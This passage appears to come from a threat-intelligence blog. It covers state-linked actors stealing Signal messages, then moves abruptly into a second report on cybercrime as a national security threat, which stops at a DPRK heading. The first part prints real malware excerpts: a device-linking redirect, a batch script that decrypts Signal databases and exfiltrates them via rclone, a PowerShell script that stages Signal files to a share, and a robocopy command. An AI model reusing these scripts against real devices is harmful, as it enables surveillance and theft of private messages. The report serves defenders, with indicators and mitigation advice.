function doRedirect() { var redirect = 'sgnl://linkdevice uuid=h_8WKmzwam_jtUeoD_NQyg%3D%3D pub_key=Ba0212mHrGIy4t%2FzCCkKkRKwiS0osyeLF4j1v8DKn%2Fg%2B' //redirect=encodeURIComponent(redirect) document.getElementById('go-to-group').href = redirect window.location = redirect window.onload = doRedirect

Figure 3: Example of UNC5792 modified redirect code used to link the victim's device to an actor-controlled Signal instance

UNC4221: Custom-Developed Signal Phishing Kit

UNC4221 (tracked by CERT-UA as UAC-0185) is an additional Russia-linked threat actor who has actively targeted Signal accounts used by Ukrainian military personnel. The group operates a tailored Signal phishing kit designed to mimic components of the Kropyva application used by the Armed Forces of Ukraine for artillery guidance. Similar to the social engineering approach used by UNC5792, UNC4221 has also attempted to mask its device-linking functionality as an invite to a Signal group from a trusted contact. Different variations of this phishing kit have been observed, including:

• Phishing websites that redirect victims to secondary phishing infrastructure masquerading as legitimate device-linking instructions provisioned by Signal (Figure 4)

• Phishing websites with the malicious device-linking QR code directly embedded into the primary Kropyva-themed phishing kit (Figure 5)

• In earlier operations in 2022, UNC4221 phishing pages were crafted to appear as a legitimate security alert from Signal (Figure 6)

Figure 4: Malicious device-linking QR code hosted on UNC4221-controlled domain "signal-confirm[.]site"

Figure 5: UNC4221 phishing page mimicking the networking component of Kropyva hosted at "teneta.add-group[.]site". The page invites the user to "Sign in to Signal" (Ukrainian: "Авторизуватись у Signal"), which in turn displays a QR code linked to an UNC4221-controlled Signal instance.

Figure 6: Phishing page crafted to appear as a Signal security alert hosted on UNC4221-controlled domain signal-protect[.]host

Notably, as a core component of its Signal targeting, UNC4221 has also used a lightweight JavaScript payload tracked as PINPOINT to collect basic user information and geolocation data using the browser's GeoLocation API. In general, we expect to see secure messages and location data to frequently feature as joint targets in future operations of this nature, particularly in the context of targeted surveillance operations or support to conventional military operations.

Wider Russian and Belarusian Efforts to Steal Messages From Signal

Beyond targeted efforts to link additional actor-controlled devices to victim Signal accounts, multiple known and established regional threat actors have also been observed operating capabilities designed to steal Signal database files from Android and Windows devices.

• APT44 has been observed operating WAVESIGN, a lightweight Windows Batch script, to periodically query Signal messages from a victim's Signal database and exfiltrate those most recent messages using Rclone (Figure 7).

• As reported in 2023 by the Security Service of Ukraine (SSU) and the UK's National Cyber Security Centre (NCSC), the Android malware tracked as Infamous Chisel and attributed by the respective organizations to Sandworm, is designed to recursively search for a list of file extensions including the local database for a series of messaging applications, including Signal, on Android devices.

• Turla, a Russian threat actor attributed by the United States and United Kingdom to Center 16 of the Federal Security Service (FSB) of the Russian Federation, has also operated a lightweight PowerShell script in post-compromise contexts to stage Signal Desktop messages for exfiltration (Figure 8).

• Extending beyond Russia, Belarus-linked UNC1151 has used the command-line utility Robocopy to stage the contents of file directories used by Signal Desktop to store messages and attachments for later exfiltration (Figure 9).

if %proflag%==1 ( C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL copy /y %new% C:\ProgramData\Signal\Storage\Signal\sqlorig\db.sqlite C:\ProgramData\Signal\Storage\rc.exe copy -P -I --log-file=C:\ProgramData\Signal\Storage\rclog.txt --log-level INFO C:\ProgramData\Signal\Storage\Signal\sqlorig si:SignalFresh/sqlorig del C:\ProgramData\Signal\Storage\Signal\log* rmdir /s /q C:\ProgramData\Signal\Storage\sql move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql ) ELSE ( C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";" ".recover" > NUL C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%old_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;" C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%new_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;" C:\ProgramData\Signal\Storage\sqldiff.exe --primarykey --vtab %old_dec% %new_dec% > %diff_name% del /s %old_dec% %new_dec% rmdir /s /q C:\ProgramData\Signal\Storage\sql move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql powershell -Command "move C:\ProgramData\Signal\Storage\log.tmp C:\ProgramData\Signal\Storage\Signal\log$(Get-Date -f """ddMMyyyyHHmmss""").tmp" )

Figure 7: Code snippet from WAVESIGN used by APT44 to exfiltrate Signal messages

$TempPath = $env:tmp $TempPath = $env:temp $ComputerName = $env:computername $DFSRoot = "\\redacted" $RRoot = $DFSRoot + "resource\" $frand = Get-Random -Minimum 1 -Maximum 10000 Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append $file1 = $ComputerName + "_" + $frand + "sig.zip" $zipfile = $TempPath + "\" + $file1 $resfile = $RRoot + $file1 Compress-Archive -Path "C:\Users\..\AppData\Roaming\SIGNAL\config.json" -DestinationPath $zipfile Copy-Item -Path $zipfile -Destination $resfile -Force Remove-Item -Path $zipfile -Force

Figure 8: PowerShell script used by Turla to exfiltrate Signal messages

C:\Windows\system32\cmd.exe /C cd %appdata% && robocopy "%userprofile%\AppData\Roaming\Signal" C:\Users\Public\data\signa /S

Figure 9: Robocopy command used by UNC1151 to stage Signal file directories for exfiltration

Outlook and Implications

The operational emphasis on Signal from multiple threat actors in recent months serves as an important warning for the growing threat to secure messaging applications that is certain to intensify in the near-term. When placed in a wider context with other trends in the threat landscape, such as the growing commercial spyware industry and the surge of mobile malware variants being leveraged in active conflict zones, there appears to be a clear and growing demand for offensive cyber capabilities that can be used to monitor the sensitive communications of individuals who rely on secure messaging applications to safeguard their online activity.

As reflected in wide ranging efforts to compromise Signal accounts, this threat to secure messaging applications is not limited to remote cyber operations such as phishing and malware delivery, but also critically includes close-access operations where a threat actor can secure brief access to a target's unlocked device. Equally important, this threat is not only limited to Signal, but also extends to other widely used messaging platforms, including WhatsApp and Telegram, which have likewise factored into the targeting priorities of several of the aforementioned Russia-aligned groups in recent months. For an example of this wider targeting interest, see Microsoft Threat Intelligence's recent blog post on a COLDRIVER (aka UNC4057 and Star Blizzard) campaign attempting to abuse the linked device feature to compromise WhatsApp accounts.  

Potential targets of government-backed intrusion activity targeting their personal devices should adopt practices to help safeguard themselves, including:

• Enable screen lock on all mobile devices using a long, complex password with a mix of uppercase and lowercase letters, numbers, and symbols. Android supports alphanumeric passwords, which offer significantly more security than numeric-only PINs or patterns.

• Install operating system updates as soon as possible and always use the latest version of Signal and other messaging apps.

• Ensure Google Play Protect is enabled, which is on by default on Android devices with Google Play Services. Google Play Protect checks your apps and devices for harmful behavior and can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play.

• Audit linked devices regularly for unauthorized devices by navigating to the "Linked devices" section in the application's settings.

• Exercise caution when interacting with QR codes and web resources purporting to be software updates, group invites, or other notifications that appear legitimate and urge immediate action.

• If available, use two-factor authentication such as fingerprint, facial recognition, a security key, or a one-time code to verify when your account is logged into or linked to a new device.

• iPhone users concerned about targeted surveillance or espionage activity should consider enabling Lockdown Mode to reduce their attack surface.

aside_block

<ListValue: [StructValue([('title', 'More insights on this threat activity'), ('body', <wagtail.rich_text.RichText object at 0x3e2ffa32a460>), ('btn_text', 'Listen now'), ('href', 'https://open.spotify.com/episode/3reADyxut9u4ueSPlCma8I'), ('image', <GAEImage: Defender's Advantage podcast>)])]>

Indicators of Compromise

To assist organizations hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

See Table 1 for a sample of relevant indicators of compromise.

Actor

Indicator of Compromise

Context 

UNC5792

e078778b62796bab2d7ab2b04d6b01bf

Example of altered group invite HTML code 

add-signal-group[.]com

add-signal-groups[.]com

group-signal[.]com

groups-signal[.]site

signal-device-off[.]online

signal-group-add[.]com

signal-group[.]site

signal-group[.]tech

signal-groups-add[.]com

signal-groups[.]site

signal-groups[.]tech

signal-security[.]online

signal-security[.]site

signalgroup[.]site

signals-group[.]com

Fake group invite phishing pages

UNC4221

signal-confirm[.]site

confirm-signal[.]site

Device-linking instructions phishing page

signal-protect[.]host

Fake Signal security alert 

teneta.join-group[.]online

teneta.add-group[.]site

group-teneta[.]online

helperanalytics[.]ru

group-teneta[.]online

teneta[.]group

group.kropyva[.]site

Fake Kropyva group invites 

APT44

150.107.31[.]194:18000

Dynamically generated device-linking QR code provisioned by APT44

a97a28276e4f88134561d938f60db495

b379d8f583112cad3cf60f95ab3a67fd

b27ff24870d93d651ee1d8e06276fa98

WAVESIGN batch scripts 

Table 1: Relevant indicators of compromise

See Table 2 for a summary of the different actors, tactics, and techniques used by Russia and Belarus state-aligned threat actors to target Signal messages.

Threat Actor 

Tactic 

Technique

UNC5792

Linked device

Remote phishing operations using fake group invites to pair a victim's Signal messages to an actor-controlled device

UNC4221

Linked device

Remote phishing operations using fake military web applications and security alerts to pair a victim's Signal messages to an actor-controlled device

APT44

Linked device

Close-access physical device exploitation to pair a victim's Signal messages to an actor-controlled device

Signal Android database theft

Android malware (Infamous Chisel) tailored to exfiltrate Signal database files

Signal Desktop database theft 

Windows Batch script tailored to periodically exfiltrate recent Signal messages via Rclone

Turla

Signal Desktop database theft 

Post-compromise activity in Windows environments

UNC1151

Signal Desktop database theft 

Use of Robocopy to stage Signal Desktop file directories for exfiltration

Table 2: Summary of observed threat activity targeting Signal messages

Executive Summary

Cybercrime makes up a majority of the malicious activity online and occupies the majority of defenders' resources. In 2024, Mandiant Consulting responded to almost four times more intrusions conducted by financially motivated actors than state-backed intrusions. Despite this overwhelming volume, cybercrime receives much less attention from national security practitioners than the threat from state-backed groups. While the threat from state-backed hacking is rightly understood to be severe, it should not be evaluated in isolation from financially motivated intrusions. 

A hospital disrupted by a state-backed group using a wiper and a hospital disrupted by a financially motivated group using ransomware have the same impact on patient care. Likewise, sensitive data stolen from an organization and posted on a data leak site can be exploited by an adversary in the same way data exfiltrated in an espionage operation can be. These examples are particularly salient today, as criminals increasingly target and leak data from hospitals. Healthcare's share of posts on data leak sites has doubled over the past three years, even as the number of data leak sites tracked by Google Threat Intelligence Group has increased by nearly 50% year over year. The impact of these attacks mean that they must be taken seriously as a national security threat, no matter the motivation of the actors behind it.

Cybercrime also facilitates state-backed hacking by allowing states to purchase cyber capabilities, or co-opt criminals to conduct state-directed operations to steal data or engage in disruption. Russia has drawn on criminal capabilities to fuel the cyber support to their war in Ukraine. GRU-linked APT44 (aka Sandworm), a unit of Russian military intelligence, has employed malware available from cybercrime communities to conduct espionage and disruptive operations in Ukraine and CIGAR (aka RomCom), a group that historically focused on cybercrime, has conducted espionage operations against the Ukrainian government since 2022. However, this is not limited to Russia. Iranian threat groups deploy ransomware to raise funds while simultaneously conducting espionage, and Chinese espionage groups often supplement their income with cybercrime. Most notably, North Korea uses state-backed groups to directly generate revenue for the regime. North Korea has heavily targeted cryptocurrencies, compromising exchanges and individual victims’ crypto wallets. 

Despite the overlaps in effects and collaboration with states, tackling the root causes of cybercrime requires fundamentally different solutions. Cybercrime involves collaboration between disparate groups often across borders and without respect to sovereignty. Any solution requires international cooperation by both law enforcement and intelligence agencies to track, arrest, and prosecute these criminals. Individual takedowns can have important temporary effects, but the collaborative nature of cybercrime means that the disrupted group will be quickly replaced by others offering the same service. Achieving broader success will require collaboration between countries and public and private sectors on systemic solutions such as increasing education and resilience efforts.

aside_block

<ListValue: [StructValue([('title', 'Cybercrime: A Multifaceted National Security Threat'), ('body', <wagtail.rich_text.RichText object at 0x3e30287bae50>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/cybercrime-multifaceted-national-security-threat.pdf'), ('image', <GAEImage: cybercrime-cover>)])]>

Stand-Alone Cybercrime is a Threat to Countries' National Security

Financially motivated cyber intrusions, even those without any ties to state goals, harm national security. A single incident can be impactful enough on its own to have a severe consequence on the victim and disrupt citizens' access to critical goods and services. The enormous volume of financially motivated intrusions occurring every day also has a cumulative impact, hurting national economic competitiveness and placing huge strain on cyber defenders, leading to decreased readiness and burnout.

A Single Financially-Motivated Operation Can Have Severe Effects

Cybercrime, particularly ransomware attacks, are a serious threat to critical infrastructure. Disruptions to energy infrastructure, such as the 2021 Colonial Pipeline attack, a 2022 incident at the Amsterdam-Rotterdam-Antwerp refining hub, and the 2023 attack on Petro-Canada, have disrupted citizens' ability to access vital goods. While the impacts in these cases were temporary and recoverable, a ransomware attack during a weather emergency or other acute situation could have devastating consequences.

Beyond energy, the ransomware attacks on the healthcare sector have had the most severe consequences on everyday people. At the height of the pandemic in early 2020, it appeared that ransomware groups might steer clear of hospitals, with multiple groups making statements to that effect, but the forbearance did not hold. Healthcare organizations' critical missions and the high impact of disruptions have led them to be perceived as more likely to pay a ransom and led some groups to increase their focus on targeting healthcare. The healthcare industry, especially hospitals, almost certainly continues to be a lucrative target for ransomware operators given the sensitivity of patient data and the criticality of the services that it provides.

Since 2022, Google Threat Intelligence Group (GTIG) has observed a notable increase in the number of data leak site (DLS) victims from within the hospital subsector. Data leak sites, which are used to release victim data following data theft extortion incidents, are intended to pressure victims to pay a ransom demand or give threat actors additional leverage during ransom negotiations. 

• In July 2024, the Qilin (aka "AGENDA") DLS announced upcoming attacks targeting US healthcare organizations. They followed through with this threat by adding a regional medical center to their list of claimed victims on the DLS the following week, and adding multiple healthcare and dental clinics in August 2024. The ransomware operators have purportedly stated that they focus their targeting on sectors that pay well, and one of those sectors is healthcare.

• In March 2024, the RAMP forum actor "badbone," who has been associated with INC ransomware, sought illicit access to Dutch and French medical, government, and educational organizations, stating that they were willing to pay 2–5% more for hospitals, particularly ones with emergency services.

Studies from academics and internal hospital reviews have shown that the disruptions from ransomware attacks go beyond inconvenience and have led to life-threatening consequences for patients. Disruptions can impact not just individual hospitals but also the broader healthcare supply chain. Cyberattacks on companies that manufacture critical medications and life-saving therapies can have far-reaching consequences worldwide. 

• A recent study from researchers at the University of Minnesota - Twin Cities School of Public Health showed that among patients already admitted to a hospital when a ransomware attack takes place, "in-hospital mortality increases by 35 - 41%."

• Public reporting stated that UK National Health Service data showed a June 2024 ransomware incident at a contractor led to multiple cases of "long-term or permanent impact on physical, mental or social function or shortening of life-expectancy," with more numerous cases of less severe effects.

Ransomware operators are aware that their attacks on hospitals will have severe consequences and will likely increase government attention on them. Although some have devised strategies to mitigate the blowback from these operations, the potential monetary rewards associated with targeting hospitals continue to drive attacks on the healthcare sector.

• The actor "FireWalker," who has recruited partners for REDBIKE (aka Akira) ransomware operations, indicated a willingness to accept access to government and medical targets, but in those cases a different ransomware called "FOULFOG" would be used.

• Leaked private communications broadly referred to as the "ContiLeaks" reveal that the actors expected their plan to target the US healthcare system in the fall of 2020 to cause alarm, with one actor stating "there will be panic."

Economic Disruption

On May 8, 2022, Costa Rican President Rodrigo Chaves declared a national emergency caused by CONTI ransomware attacks against several Costa Rican government agencies the month prior. These intrusions caused widespread disruptions in government medical, tax, pension, and customs systems. With imports and exports halted, ports were overwhelmed, and the country reportedly experienced millions of dollars of losses. The remediation costs extended beyond Costa Rica; Spain supported the immediate response efforts, and in 2023, the US announced $25 million USD in cybersecurity aid to Costa Rica. 

While the Costa Rica incident was exceptional, responding to a cybercrime incident can involve significant expenses for the affected entity, such as paying multi-million dollar ransom demands, loss of income due to system downtime, providing credit monitoring services to impacted clients, and paying remediation costs and fines. In just one example, a US healthcare organization reported $872 million USD in "unfavorable cyberattack effects" after a disruptive incident. In the most extreme cases, these costs can contribute to organizations ceasing operations or declaring bankruptcy. 

In addition to the direct impacts to individual organizations, financial impacts often extend to taxpayers and can have significant impacts on the national economy due to follow-on effects of the disruptions. The US Federal Bureau of Investigation's Internet Crime Complaint Center (IC3) has indicated that between October 2013 and December 2023, business email compromise (BEC) operations alone led to $55 billion USD in losses. The cumulative effect of these cybercrime incidents can have an impact on a country's economic competitiveness. This can be particularly severe for smaller or developing countries, especially those with a less diverse economy.

Data Leak Sites Add Additional Threats

In addition to deploying ransomware to interfere with business operations, criminal groups have added the threat of leaking data stolen from victims to bolster their extortion operations. This now standard tactic has increased the volume of sensitive data being posted by criminals and created an opportunity for it to be obtained and exploited by state intelligence agencies. 

Threat actors post proprietary company data—including research and product designs—on data leak sites where they are accessible to the victims' competitors. GTIG has previously observed threat actors sharing tips for targeting valuable data for extortion operations. In our research, GTIG identified Conti "case instructions" indicating that actors should prioritize certain types of data to use as leverage in negotiations, including files containing confidential information, document scans, HR documents, company projects, and information protected by the General Data Protection Regulation (GDPR).

The number of data leak sites has proliferated, with the number of sites tracked by GTIG almost doubling since 2022. Leaks of confidential business and personal information by extortion groups can cause embarrassment and legal consequences for the affected organization, but they also pose national security threats. If a company's confidential intellectual property is leaked, it can undermine the firm's competitive position in the market and undermine the host country's economic competitiveness. The wide-scale leaking of personally identifiable information (PII) also creates an opportunity for foreign governments to collect this information to facilitate surveillance and tracking of a country's citizens.

Cybercrime Directly Supporting State Activity

Since the earliest computer network intrusions, financially motivated actors have conducted operations for the benefit of hostile governments. While this pattern has been consistent, the heightened level of cyber activity following Russia's war in Ukraine has shown that, in times of heightened need, the latent talent pool of cybercriminals can be paid or coerced to support state goals. Operations carried out in support of the state, but by criminal actors, have numerous benefits for their sponsors, including a lower cost and increased deniability. As the volume of financially motivated activity increases, the potential danger it presents does as well.

States as a Customer in Cybercrime Ecosystems

Modern cybercriminals are likely to specialize in a particular area of cybercrime and partner with other entities with diverse specializations to conduct operations. The specialization of cybercrime capabilities presents an opportunity for state-backed groups to simply show up as another customer for a group that normally sells to other criminals. Purchasing malware, credentials, or other key resources from illicit forums can be cheaper for state-backed groups than developing them in-house, while also providing some ability to blend in to financially motivated operations and attract less notice.

Russian State Increasingly Leveraging Malware, Tooling Sourced from Crime Marketplaces

Google assesses that resource constraints and operational demands have contributed to Russian cyber espionage groups' increasing use of free or publicly available malware and tooling, including those commonly employed by criminal actors to conduct their operations. Following Russia's full-scale invasion of Ukraine, GTIG has observed groups suspected to be affiliated with Russian military intelligence services adopt this type of "low-equity" approach to managing their arsenal of malware, utilities, and infrastructure. The tools procured from financially motivated actors are more widespread and lower cost than those developed by the government. This means that if an operation using this malware is discovered, the cost of developing a new tool will not be borne by the intelligence agency; additionally, the use of such tools may assist in complicating attribution efforts. Notably, multiple threat clusters with links to Russian military intelligence have leveraged disruptive malware adapted from existing ransomware variants to target Ukrainian entities. 

APT44 (Sandworm, FROZENBARENTS)

APT44, a threat group sponsored by Russian military intelligence, almost certainly relies on a diverse set of Russian companies and criminal marketplaces to source and sustain its more frequently operated offensive capabilities. The group has used criminally sourced tools and infrastructure as a source of disposable capabilities that can be operationalized on short notice without immediate links to its past operations. Since Russia's full-scale invasion of Ukraine, APT44 has increased its use of such tooling, including malware such as DARKCRYSTALRAT (DCRAT), WARZONE, and RADTHIEF ("Rhadamanthys Stealer"), and bulletproof hosting infrastructure such as that provided by the Russian-speaking actor "yalishanda," who advertises in cybercriminal underground communities.

• APT44 campaigns in 2022 and 2023 deployed RADTHIEF against victims in Ukraine and Poland. In one campaign, spear-phishing emails targeted a Ukrainian drone manufacturer and leveraged SMOKELOADER, a publicly available downloader popularized in a Russian-language underground forum that is still frequently used in criminal operations, to load RADTHIEF. 

• APT44 also has a history of deploying disruptive malware built upon known ransomware variants. In October 2022, a cluster we assessed with moderate confidence to be APT44 deployed PRESSTEA (aka Prestige) ransomware against logistics entities in Poland and Ukraine, a rare instance in which APT44 deployed disruptive capabilities against a NATO country. In June 2017, the group conducted an attack leveraging ETERNALPETYA (aka NotPetya), a wiper disguised as ransomware, timed to coincide with Ukraine's Constitution Day marking its independence from Russia. Nearly two years earlier, in late 2015, the group used a modified BLACKENERGY variant to disrupt the Ukrainian power grid. BLACKENERGY originally emerged as a distributed denial-of-service (DDoS) tool, with later versions sold in criminal marketplaces.

UNC2589 (FROZENVISTA)

UNC2589, a threat cluster whose activity has been publicly attributed to the Russian General Staff Main Intelligence Directorate (GRU)'s 161st Specialist Training Center (Unit 29155), has conducted full-spectrum cyber operations, including destructive attacks, against Ukraine. The actor is known to rely on non-military elements including cybercriminals and private-sector organizations to enable their operations, and GTIG has observed the use of a variety of malware-as-a-service tools that are prominently sold in Russian-speaking cybercrime communities.

In January 2022, a month prior to the invasion, UNC2589 deployed PAYWIPE (also known as WHISPERGATE) and SHADYLOOK wipers against Ukrainian government entities in what may have been a preliminary strike, using the GOOSECHASE downloader and FINETIDE dropper to drop and execute SHADYLOOK on the target machine. US Department of Justice indictments identified a Russian civilian, who GTIG assesses was a likely criminal contractor, as managing the digital environments used to stage the payloads used in the attacks. Additionally, CERT-UA corroborated GTIG's findings of strong similarities between SHADYLOOK and WhiteBlackCrypt ransomware (also tracked as WARYLOOK). GOOSECHASE and FINETIDE are also publicly available for purchase on underground forums.

Turla (SUMMIT)

In September 2022, GTIG identified an operation leveraging a legacy ANDROMEDA infection to gain initial access to selective targets conducted by Turla, a cyber espionage group we assess to be sponsored by Russia's Federal Security Service (FSB). Turla re-registered expired command-and-control (C&C or C2) domains previously used by ANDROMEDA, a common commodity malware that was widespread in the early 2010s, to profile victims; it then selectively deployed KOPILUWAK and QUIETCANARY to targets in Ukraine. The ANDROMEDA backdoor whose C2 was hijacked by Turla was first uploaded to VirusTotal in 2013 and spreads from infected USB keys. 

While GTIG has continued to observe ANDROMEDA infections across a wide variety of victims, GTIG has only observed suspected Turla payloads delivered in Ukraine. However, Turla's tactic of piggybacking on widely distributed, financially motivated malware to enable follow-on compromises is one that can be used against a wide range of organizations. Additionally, the use of older malware and infrastructure may cause such a threat to be overlooked by defenders triaging a wide variety of alerts.

In December 2024, Microsoft reported on the use of Amadey bot malware related to cyber criminal activity to target Ukrainian military entities by Secret Blizzard, an actor that aligns approximately with what we track as Turla. While we are unable to confirm this activity, Microsoft's findings suggest that Turla has continued to leverage the tactic of using cybercrime malware.

APT29 (ICECAP)

In late 2021, GTIG reported on a campaign conducted by APT29, a threat group assessed to be sponsored by the Russian Foreign Intelligence Service (SVR), in which operators used credentials likely procured from an infostealer malware campaign conducted by a third-party actor to gain initial access to European entities. Infostealers are a broad classification of malware that have the capability or primary goal of collecting and stealing a range of sensitive user information such as credentials, browser data and cookies, email data, and cryptocurrency wallets.An analysis of workstations belonging to the target revealed that some systems had been infected with the CRYPTBOT infostealer shortly before a stolen session token used to gain access to the targets' Microsoft 365 environment was generated.

An example of the sale of government credentials on an underground forum

Use of Cybercrime Tools by Iran and China 

While Russia is the country that has most frequently been identified drawing on resources from criminal forums, they are not the only ones. For instance, in May 2024, GTIG identified a suspected Iranian group, UNC5203, using the aforementioned RADTHIEF backdoor in an operation using themes associated with the Israeli nuclear research industry.

In multiple investigations, the Chinese espionage operator UNC2286 was observed ostensibly carrying out extortion operations, including using STEAMTRAIN ransomware, possibly to mask its activities. The ransomware dropped a JPG file named "Read Me.jpg" that largely copies the ransomware note delivered with DARKSIDE. However, no links have been established with the DARKSIDE ransomware-as-a-service (RaaS), suggesting the similarities are largely superficial and intended to lend credibility to the extortion attempt. Deliberately mixing ransomware activities with espionage intrusions supports the Chinese Government's public efforts to confound attribution by conflating cyber espionage activity and ransomware operations.

Criminals Supporting State Goals

In addition to purchasing tools for state-backed intrusion groups to use, countries can directly hire or co-opt financially motivated attackers to conduct espionage and attack missions on behalf of the state. Russia, in particular, has leveraged cybercriminals for state operations.

Current and Former Russian Cybercriminal Actors Engage in Targeted Activity Supporting State Objectives

Russian intelligence services have increasingly leveraged pre-existing or new relationships with cybercriminal groups to advance national objectives and augment intelligence collection. They have done so in particular since the beginning of Russia's full-scale invasion of Ukraine. GTIG judges that this is a combination of new efforts by the Russian state and the continuation of ongoing efforts for other financially motivated, Russia-based threat actors that had relationships with the Russian intelligence services that predated the invasion. In at least some cases, current and former members of Russian cybercriminal groups have carried out intrusion activity likely in support of state objectives. 

CIGAR (UNC4895, RomCom)

CIGAR (also tracked as UNC4895 and publicly reported as RomCom) is a dual financial and espionage-motivated threat group. Active since at least 2019, the group historically conducted financially motivated operations before expanding into espionage activity that GTIG judges fulfills espionage requirements in support of Russian national interests following the start of Russia's full-scale invasion of Ukraine. CIGAR's ongoing engagement in both types of activity differentiates the group from threat actors like APT44 or UNC2589, which leverage cybercrime actors and tooling toward state objectives. While the precise nature of the relationship between CIGAR and the Russian state is unclear, the group's high operational tempo, constant evolution of its malware arsenal and delivery methods, and its access to and exploitation of multiple zero-day vulnerabilities suggest a level of sophistication and resourcefulness unusual for a typical cybercrime actor. 

Targeted intrusion activity from CIGAR dates back to late 2022, targeting Ukrainian military and government entities. In October 2022, CERT-UA reported on a phishing campaign that distributed emails allegedly on behalf of the Press Service of the General Staff of the Armed Forces of Ukraine, which led to the deployment of the group's signature RomCom malware. Two months later, in December 2022, CERT-UA highlighted a RomCom operation targeting users of DELTA, a situational awareness and battlefield management system used by the Ukrainian military.

CIGAR activity in 2023 and 2024 included the leveraging of zero-day vulnerabilities to conduct intrusion activity. In late June 2023, a phishing operation targeting European government and military entities used lures related to the Ukrainian World Congress, a nonprofit involved in advocacy for Ukrainian interests, and a then-upcoming NATO summit, to deploy the MAGICSPELL downloader, which exploited CVE-2023-36884 as a zero-day in Microsoft Word. In 2024, the group was reported to exploit the Firefox vulnerability CVE-2024-9680, chained together with the Windows vulnerability CVE-2024-49039, to deploy RomCom. 

CONTI

At the outset of Russia's full-scale invasion of Ukraine, the CONTI ransomware group publicly announced its support for the Russian government, and subsequent leaks of server logs allegedly containing chat messages from members of the group revealed that at least some individuals were interested in conducting targeted attacks,and may have been taking targeting directions from a third party. GTIG further assessed that former CONTI members comprise part of an initial access broker group conducting targeted attacks against Ukraine tracked by CERT-UA as UAC-0098. 

UAC-0098 historically delivered the IcedID banking trojan, leading to human-operated ransomware attacks, and GTIG assesses that the group previously acted as an initial access broker for various ransomware groups including CONTI and Quantum. In early 2022, however, the actor shifted its focus to Ukrainian entities in the government and hospitality sectors as well as European humanitarian and nonprofit organizations. 

Chinese-Language Operator Supports Espionage Goals  UNC5174 ("Uteus")

UNC5174 uses the "Uteus" hacktivist persona who has claimed to be affiliated with China's Ministry of State Security, working as an access broker and possible contractor who conducts for-profit intrusions. UNC5174 has weaponized multiple vulnerabilities soon after they were publicly announced, attempting to compromise numerous devices before they could be patched. For example, in February 2024, UNC5174 was observed exploiting CVE-2024-1709 in ConnectWise ScreenConnect to compromise hundreds of institutions primarily in the US and Canada, and in April 2024, GTIG confirmed UNC5174 had weaponized CVE-2024-3400 in an attempt to exploit Palo Alto Network's (PAN's) GlobalProtect appliances. In both cases, multiple China-nexus clusters were identified leveraging the exploits, underscoring how UNC5174 may enable additional operators.

Hybrid Groups Enable Cheap Capabilities

Another form of financially motivated activity supporting state goals are groups whose main mission may be state-sponsored espionage are, either tacitly or explicitly, allowed to conduct financially motivated operations to supplement their income. This can allow a government to offset direct costs that would be required to maintain groups with robust capabilities. 

Moonlighting Among Chinese Contractors  APT41

APT41 is a prolific cyber operator working out of the People's Republic of China and most likely a contractor for the Ministry of State Security. In addition to state-sponsored espionage campaigns against a wide array of industries, APT41 has a long history of conducting financially motivated operations. The group's cybercrime activity has mostly focused on the video game sector, including ransomware deployment. APT 41 has also enabled other Chinese espionage groups, with digital certificates stolen by APT41 later employed by other Chinese groups. APT41's cybercrime has continued since GTIG's 2019 report, with the United States Secret Service attributing an operation that stole millions in COVID relief funds to APT41, and GTIG identifying an operation targeting state and local governments.

Iranian Groups Deploy Ransomware for Disruption and Profit

Over the past several years, GTIG has observed Iranian espionage groups conducting ransomware operations and disruptive hack-and-leak operations. Although much of this activity is likely primarily driven by disruptive intent, some actors working on behalf of the Iranian government may also be seeking ways to monetize stolen data for personal gain, and Iran's declining economic climate may serve as an impetus for this activity.

UNC757 

In August 2024, the US Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Defense Cybercrime Center (DC3) released a joint advisory indicating that a group of Iran-based cyber actors known as UNC757 collaborated with ransomware affiliates including NoEscape, Ransomhouse, and ALPHV to gain network access to organizations across various sectors and then help the affiliates deploy ransomware for a percentage of the profits. The advisory further indicated that the group stole data from targeted networks likely in support of the Iranian government, and their ransomware operations were likely not sanctioned by the Government of Iran. 

GTIG is unable to independently corroborate UNC757's reported collaboration with ransomware affiliates. However, the group has historical, suspected ties to the persona "nanash" that posted an advertisement in mid-2020 on a cybercrime forum claiming to have access to various networks, as well as hack-and-leak operations associated with the PAY2KEY ransomware and corresponding persona that targeted Israeli firms. 

Examples of Dual Motive (Financial Gain and Espionage)

In multiple incidents, individuals who have conducted cyber intrusions on behalf of the Iranian government have also been identified conducting financially motivated intrusion. 

• A 2020 US Department of Justice indictment indicated that two Iranian nationals conducted cyber intrusion operations targeting data "pertaining to national security, foreign policy intelligence, non-military nuclear information, aerospace data, human rights activist information, victim financial information and personally identifiable information, and intellectual property, including unpublished scientific research." The intrusions in some cases were conducted at the behest of the Iranian government, while in other instances, the defendants sold hacked data for financial gain. 

• In 2017, the US DoJ indicted an Iranian national who attempted to extort HBO by threatening to release stolen content. The individual had previously worked on behalf of the Iranian military to conduct cyber operations targeting military and nuclear software systems and Israeli infrastructure. 

DPRK Cyber Threat Actors Conduct Financially Motivated Operations to Generate Revenue for Regime, Fund Espionage Campaigns

